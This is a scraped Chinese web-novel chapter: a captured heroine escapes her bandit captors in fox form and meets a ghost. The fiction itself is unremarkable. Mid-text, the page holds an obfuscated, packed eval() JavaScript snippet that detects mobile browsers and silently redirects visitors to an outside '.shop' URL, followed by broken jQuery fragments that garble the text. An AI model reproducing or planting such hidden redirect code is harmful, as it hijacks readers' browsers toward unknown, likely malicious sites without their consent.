文趣网 > 都市小说 > 新婚夜被王爷掐脖子后 > 10. 童子尿
    宝酥心神未定,寨子里的几个小喽啰就凑到风万里跟前,七嘴八舌地问:“大哥,这几个人怎么安排?”

    风万里往院子里一站,大手一挥吩咐道:“男的关柴房,女的送卧房,都给我通通绑起来!”

    “是!遵命!”

    春兰和小荷被押去同一间屋子,而宝酥则被单独带走,丝毫没有给她们聚在一起的机会。

    一众小喽啰簇拥着宝酥入了房间,态度较之先前恭敬了不少。

    瞧出宝酥一路劳顿,几人连忙搬来一把木椅,稳稳置在屋中:“嫂子一路辛苦,快请落座~”

    宝酥斜睨一眼,小心坐下。

    谁知,他们又从腰后抽出一捆绳子,绕着宝酥开始缠,一圈两圈三圈,椅子腿、扶手、腰上,缠得仔仔细细。

    宝酥低头看着自己身上一圈一圈的绳子,皱眉道:“捆我做什么?我又跑不掉。”

    小喽啰一边系绳结一边赔笑:“没办法嫂子,规矩。大哥说了,来的客人都得捆。不是针对您,您别往心里去。”

    “客人?你们就是这么招待客人的?”

    “嘿嘿,山野地方,粗鲁惯了,嫂子别见怪。”小喽啰拉了拉绳结,紧了紧:“必须得捆。以前就有人乱跑——”

    “什么?”

    “以前有人逃出寨子,便再也没有回来。后来大哥在山下河边寻到了尸首,为此大发雷霆,才立下了死规矩。嫂子委屈委屈,等大哥高兴了,自然就给您松了。”

    “你大哥身边,应当有不少女子吧?”

    小喽啰咧得意地扬了扬下巴:“那是自然!咱们大哥在苍梧郡一带说一不二,区区几个女子算得了什么。”

    “既然如此。”宝酥打断他:“为何这寨中,我半个女子都未曾见过?”

    小喽啰脸上的笑意一僵,生怕隔墙有耳朵,凑近了些说:“大哥说……怕新来的嫂子心里膈应。所以往日那些女子,来一个,便解决一个……”

    “不过嫂子您别怕,您和那些人不一样,大哥是真心想娶您做压寨夫人的!那些女子可不像你,她们都是自己闹,自己作的!”

    来一个,便解决一个?

    那她呢?

    宝酥在想,自己又会是第几个?

    若风万里当真残害过那些女子,这伙山匪便不能留。拔了这寨子,日后往来苍梧郡、去往北冥城的人,也能少一分祸患。

    小喽啰自知失言,讪讪干笑两声,开始收拾绳子头:“嫂子您放宽心~放宽心~”

    宝酥心底冷冷一笑,压根不信这番鬼话。想来这套说辞,这小喽啰对每一任新来的女子,都说过无数次。

    “你大哥呢?让他来见我。”

    小喽啰道:“那可不行。大哥说了,今晚要跟弟兄们喝酒庆祝。”

    “庆祝什么?”

    “庆祝——抢了个王妃,抓了个王爷。双喜临门,不得多喝几杯?”

    “那我要等到什么时候?”

    小喽啰把绳头塞进腰带里,拍了拍手:“等到夜里便知。等大哥喝得尽兴了,自然会来。到时候大哥与嫂子共度良宵,嫂子可别矜持。大哥高兴了,您就享福了。”

    享福?

    宝酥暗自嗤笑。她和帝浔至今都未曾圆房,哪轮得到一个粗鄙老汉占她便宜。

    可转念一想,夜里才来?

    这不正好给了她喘息和布局的时间?

    只是事情哪会这么简单,不会有诈吧?

    宝酥思虑片刻,很快打定主意。就算是坑,她也只能顺势往里走,见机行事。

    小喽啰不知道她在想什么,还在那儿嘿嘿傻笑。

    宝酥道:“你走吧,喝你的酒去,别在这儿杵着。”

    “好好好,嫂子您歇着,小的这就去!嫂子要是渴了饿了,床头有水有干粮,可以先垫一垫。但就是别喊,喊也没人听见,弟兄们都喝酒去了。”

    说罢,小喽啰反手合上房门,咔嗒一声落了锁。

    宝酥恹恹倚着椅背,感受着绳索紧紧勒住四肢的束缚感,无奈重重叹了口气。

    这小喽啰绑得可真够紧的。不过总算是独处了,处境倒也不算绝境。眼下屋内安静无人,正是脱身的好时机。

    偏偏这份安静没维持多久,院外忽然一阵吵嚷,打破了四下的平静。

    “你瞎啊!我女的!”

    “狗东西睁大你的眼睛好好看看!你姑奶奶是个娘们!”

    “少废话,进去!”

    “爆了眼的东西,迟早让你后悔!”

    宝酥皱了皱眉,侧耳听了听:“什么声音?是谁在吵架?”

    这时,识海中那女童的声音响了起来,带着几分刚睡醒的沙哑:“还能谁啊,阮暴富呗,被关进柴房闹脾气呢。”

    宝酥一愣:“柴房?暴富不是女孩子吗?”

    “那群小喽啰眼拙,压根瞧不出男女之别。再说她那性子,也实在难让人当成娇弱姑娘看待。”

    宝酥微笑道:“她好歹是你以前的主人,怎么连你也这么说她。”

    那声音满是嫌弃道:“摊上这成事不足败事有余的主人,我也实属无奈。若非你出手救下她,依照我的本能规则,早便将她抹杀了。”

    宝酥忍不住低低笑了声,忽而想起一桩旧事,顺势开口问道:“对了,她之前给你取过什么名字吗?都过去这么久了,我还没来得及问你呢。以后我也方便叫你。”

    “从来没有!她整天‘喂’来‘喂’去的,一点都不讲究。”

    “那你自己有名字吗?”

    “没有。我本是系统,并非寻常生灵,本就无需名字。”

    虽然宝酥还是不能理解“系统”二字的含义,却依旧觉得,长久相伴之人,理应有个专属称呼。她轻声询问:“那你想要一个吗?”

    “当然想啊!”

    “那我就帮你取一个。”宝酥想了想:“叫小九如何?我乃九尾天狐,九尾是我的本相,也是我的福分。你跟着我,便也叫九吧。好听又好记。”

    “小九……”那声音轻声念了一遍这二字,语调不自觉轻快几分,当即应下:“甚好,我喜欢。”

    宝酥柔和一笑,随口问道:“对了小九,前些时日为何一直不见你说话?”

    小九安静了片刻,低声道:“上次消耗太大,一直在休整。到现在还没缓过来呢。”

    宝酥心头一紧:“翠儿那次?”

    “嗯。抽魂的印记不是那么容易感知的。我借了太多灵力,差点撑不住。若不是今日帝浔渡了点灵力过来,我怕是还要再睡会。”

    宝酥手指收紧了一点:“那你现在……”

    “还行,能说话。但可能坚持不了太久。你现在的灵力太弱了,我没办法从你身上补充太多。”

    “那你还跟我说这么多话。”

    “我若再不陪你说说话,只怕你一个人会胡思乱想。”小九道。

    “那你再歇会儿吧。”

    “不用。说了这么多,也不差这一时半刻。帝浔渡给你的灵力,勉强够你变一次小狐狸了吧?”

    宝酥眼底闪过一丝了然:“你倒是跟我想到一块去了。”

    小九没再说话。识海中那片微弱的光渐渐暗了下去,像是终于撑不住,又沉沉睡了过去。

    宝酥不再迟疑,正打算默念咒语——

    也在这时,藏在袖中的传音扣亮起微光。

    “还好吗?”

    帝浔的声音从里面传出来。

    宝酥愣了一下,挣扎着把手从绳子里抽出来一点:“王爷,您可真舍得。传音扣就三次机会,您这么快就开始用了?”

    帝浔低声呵笑:“本王怕,不等三次用尽,你就死了。”

    “……”

    宝酥无奈轻叹:“王爷,你就不能盼点好的吗?!”

    帝浔还没来得及回话,传音扣里忽然炸开一阵嚎啕大哭,震得宝酥耳朵发麻。

    “啊啊啊啊——小狐狸!我天塌了!”阮暴富哭得撕心裂肺,不停撞墙:“我被关柴房了!关柴房了!这简直是奇耻大辱!奇耻大辱!我不想跟他俩在一起!”

    宝酥忍笑道:“没事没事,王爷是个大好人,不会拿你怎样的。”

    “我跟他又不熟!”阮暴富继续哭:“他根本不说话!一句话都不说!我说了十句他一个字都没回我!”

    传音扣那边传来帝浔的一声冷哼,似乎有些不耐烦:“哭什么哭?还嫌动静不够大?再哭,本王便真把你当男的处置。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585796|205253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    阮暴富被他这一凶,哭得更大声了:“啊——!我真是受够了这些苦日子!我怎么这么命苦啊!”

    宝酥赶紧劝:“王爷,你温柔点嘛,我们现在需齐心协力!暴富是个姑娘家,你说话这么凶,她哪里受得住。女孩子是要哄的。”

    帝浔道:“王妃,本王没对她拔剑,就已经够温柔了。”

    “……”

    “说正事。”帝浔道:“你那边情况怎样?”

    宝酥低头看了一眼自己身上的绳子,如实道来:“被捆在椅子上,绳子勒得挺紧。风万里的弟兄说,风万里夜里才来与妾身共度良宵。”

    传音扣那头沉默了一息。

    帝浔道:“妄想。”

    短短二字,宝酥唇角微扬,心底稍安:“那王爷可要趁天没黑之前来。不然夜里,妾身可就……”

    话未说完——

    “砰砰砰。”

    敲门声突然响起,又急又沉。

    宝酥心头一凝,转头盯住那扇门:“谁?”

    没人回答。

    宝酥低头看向传音扣——灵光已黯。

    她抬眸再次望向房门,门外空空荡荡,不见半个人影。

    可她分明听见了敲门声。

    宝酥轻轻摇了摇头,把那瞬荒谬的寒意压下去。大概是心绷得太紧,听岔了。现在不是疑神疑鬼的时候——该松绑了。

    她调动帝浔渡来的那缕灵力,试着解开绳结。

    绳结微微发光,却未能如她所愿般松开。

    “缚灵索?”宝酥暗自冷笑:“这风万里还真看得起我。”

    以风万里的境界,怎会看不出她现在灵力虚弱?不过缚灵索锁的是灵力,越用灵力反抗收得越紧。只要不设禁制,这种低阶缚灵索,缩小身形就能挣脱。拿这东西捆她,多少有点小题大做了。

    宝酥调动灵力,心里默念:“青丘之灵,听我号令。形随心动,还我本真。”

    不出片刻,一只巴掌大的白狐落在了椅子上。

    宝酥从椅子上跳下,抖了抖毛,回头看了一眼那堆空荡荡的衣服和滑落的缚灵索,哼了一声:“就该拿笼子把我锁起来。”

    宝酥四处张望,试着找到出口。

    门是出不去了,小喽啰走的时候落了锁。但窗户开着,就是窗沿有点高。好在她旁边有个梳妆台,台面正好到她仰头能看见的高度。

    宝酥小跑过去,后腿一蹬,前爪搭上台沿,再一使劲,整只狐翻了上去。爪子还没站稳,余光扫到台面上摆着几样东西。

    粉盒、带头发的梳子、半杯茶。

    她抬头望向梳妆台的铜镜,想看看自己。

    这一看,爪子当即打滑,整只狐又从梳妆台边缘翻了下去。九条尾巴炸开,“啪嗒”摔在地上,屁股先着地。

    “嘶——疼疼疼……”

    “又是她……”

    宝酥咬唇忍痛。

    方才对视铜镜的刹那,镜中除了她的狐形倒影,竟还映出一张惨白无血色的人脸。那张脸,与先前山寨篱笆旁撞见的鬼脸,一模一样。

    这女鬼每次出现得都这么突然,宝酥魂都快吓没了。她本来想偷偷溜出去,再借狐族的变化之术,伪装成小喽啰。除了风万里,那些小喽啰肯定看不穿。可现在计划全乱了。

    风万里不是说这里很安全吗?

    这女鬼怎么进来的?

    她进来多久了?

    宝酥不知道,也来不及想了。因为女鬼的声音已经轻轻地贴上了耳廓,像是从骨头缝里渗出来的般。

    “躲什么呀,姐姐我可是敲过门,才进来的哦。”

    宝酥的九条尾巴唰地炸开,把自己裹成一个密不透风的毛球,只露出两只眼睛:“你到底想干嘛啊!我又没有童子尿!你怎么男女不分乱找人要尿呢!”

    宝酥在心里急急喊了一声:小九?小九?

    没回应。

    小九又不知道什么时候睡了过去。

    “你在嘀嘀咕咕什么呢?”

    宝酥后背一僵,这女鬼莫非能洞悉人心?

    “你还没回答我呢!”她梗着脖子嘴硬。

    女鬼笑了,声音轻得像风吹纱帘:“你没有——但你夫君,或许有呀。”